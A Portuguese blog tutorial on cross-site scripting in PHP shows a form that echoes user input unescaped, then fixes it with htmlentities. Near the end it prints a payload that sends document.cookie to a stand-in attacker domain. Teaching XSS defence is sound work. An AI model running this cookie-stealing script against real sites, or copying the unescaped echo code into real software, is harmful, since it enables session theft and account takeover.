Segurança com PHP III – XSS

Olá meus queridos amigos amantes de Desenvolvimento! Dando continuidade aos artigos relacionados a Segurança com PHP, hoje falaremos do XSS.

Veja o primeiro artigo: Segurança com PHP I – SQL Injection

Veja o segundo artigo: Segurança com PHP II – PHP Injection

DEFINIÇÃO/FORMA DO ATAQUE

Sua sigla representa: Cross-Site Scripting, que nada mais é do que o fato de injetar códigos HTML, javascript e etc em uma página WEB através de um formulários ou uma URL contendo o JavaScript re-codificado para enganar o usuário.

A ideia é muito simples e não requer muitos conhecimentos em desenvolvimento: um simples script HTML, PHP e Javascript são suficiente para poder, rapidamente, roubar informações que ficam armazenados em Cookies. Irei mostrar alguns exemplos bem simples de ataque XSS.

FORMULÁRIO

Criei aqui um simples formulário, semelhante o do nosso primeiro artigo:

<form name='frm' action='' method='post'>
    <input type='text' name='palavra' id='palavra' size='40' />
    <button name='btn-consultar'>Buscar</button>
</form>

Logo acima do formulário, colocaremos o seguinte código:
<?php
 
// Caso o usuario submeta o formulario, imprime-se o valor da campo
if(isset($_POST['palavra']))
    echo 'A palavra é: ' . $_POST['palavra'];

?>
 
<form name='frm' action='' method='post'>
    <input type='text' name='palavra' id='palavra' />
    <button name='btn-consultar'>Buscar</button>
</form>

Vamos realizar alguns testes:

TESTE I: colocaremos o nome “Kilderson Sena” no campo de entrada e submeteremos o formulário:

Captura de Tela 2016-04-20 às 20.48.47

TESTE II: colocaremos o seguinte valor dentro do campo e submeteremos o formulário:

Captura de Tela 2016-04-20 às 20.51.48

Captura de Tela 2016-04-20 às 20.52.25

OH MY GOD, viram só isso?! O Atacante insere scritps dentro do campo de entrada, e como o PHP interpreta os mesmos, ao invés deste “texto” ser impresso na página ele é executado!

OOOHH, E AGORA QUEM PODERÁ NOS DEFENDER ?

Calma, calma… há uma solução para isso e de forma simples! Como disse nos outros artigos:

“Sempre trate informações vindas do usuário (Escapar entradas) e formate as saídas.”

Para que este “texto” não seja executado, vamos fazer o seguinte código:

<?php
 
// Caso o usuario submeta o formulario, imprime-se o valor da campo
if(isset($_POST['palavra'])) {
    $palavra = htmlentities($_POST['palavra']);
    echo 'A palavra é: ' . $palavra;
}
 
?>
 
<form name='frm' action='' method='post'>
    <input type='text' name='palavra' id='palavra' />
    <button name='btn-consultar'>Buscar</button>
</form>

Vamos informar o mesmo texto do Teste II, e teremos o resultado:

Captura de Tela 2016-04-20 às 20.56.54

Vejam que o que foi impresso na variável $palavra foi exatamente o que o usuário informou no campo de entrada. Isso aconteceu por que a função htmlentities converteu todos os caracteres em entidades html.

Vejam o código-fonte da sua página e veja que ao invés de < foi escrito &lt; e assim sucessivamente para outros caracteres:

Captura de Tela 2016-04-20 às 20.57.12

Daí, vem um jovem guerreiro e pergunta:

“Mas o que um atacante pode fazer colocando alert’s no meu site? Javascripts não são tão perigosos assim.”

E minha resposta: é exatamente isso que o atacante quer que você pense! Javascript é uma linguagem muito poderosa! Podemos por exemplo recuperar dados de Cookies com javascript, com o código:

<script>alert(document.cookie)</script>

E depois de descoberto o(s) cookie(s) posso enviar para uma página maliciosa, como mostra:
<script>window.location="http://www.eusouhacker.com.br?cookies=" + document.cookie</script>

Desta forma eu consigo informações dos cookies, onde geralmente são armazenados credenciais de acessos (dependendo da implementação), informações pessoais e dentre outras coisas.

É isso aí, mais um tipo de ataque desvendado!

Um forte abraço e até a próximo tópico!